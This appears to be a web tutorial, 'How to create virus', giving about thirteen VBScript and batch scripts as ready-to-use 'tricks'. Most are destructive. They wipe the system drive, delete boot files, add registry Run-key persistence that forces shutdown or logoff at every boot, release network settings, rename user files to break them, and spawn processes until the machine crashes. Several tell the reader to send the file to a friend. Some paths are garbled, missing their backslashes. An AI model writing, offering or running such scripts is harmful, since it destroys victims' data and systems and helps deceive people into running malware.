How to create virus

1  Virus Creation Tricks 

Just open the Notepad and type the paste the following Code.

set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having  .vbs Extension . 

2  Virus Creation Trick  
Start
Start
Start 
and then save it with .bat extension. 
Now double click on this .bat file to run Command Prompt.

 3  Virus Creation Trick
Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s 
Save it as "Anything.BAT" in All Files and send it. 

4  Virus Creation Trick 
Toggle your friend's Caps Lock button simultaneously:
Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loopSave it as "Anything.VBS" and send it. 

5  Virus Creation Trick
Frustrate your friend by making this VBScript hit Enter simultaneously:Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.   

6  Virus Creation Trick 

This Virus Deletes All The Content Of A Drive... 

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat 




7  Virus Creation Trick
This Will Crash Ur Computer 
Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next
Save It As Anything.vbs 
 
 8  Virus Creation Trick 
The Most Simple Virus To Crush The Window
It Only Works With Windows XP

@Echo off
Del C: *.* |y 
Save It As Anything.bat 

 9 Virus Creation Trick 
Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

Save As Anything.bat File In Notepad!!This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

10  Virus Creation Trick 
Shutdowns Computer Everytime It Is Turned On
Save As A bat File
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE
11  Virus Creation Trick 
Disable Internet Permanently
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
Save As A bat File 
  
12  Virus Creation Trick 
Change Files To Non-working TXT Files
Save As A bat File
REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

  
13  Virus Creation Trick 
System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE
Save As A bat File

Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will 
automatically shutdown on every startup !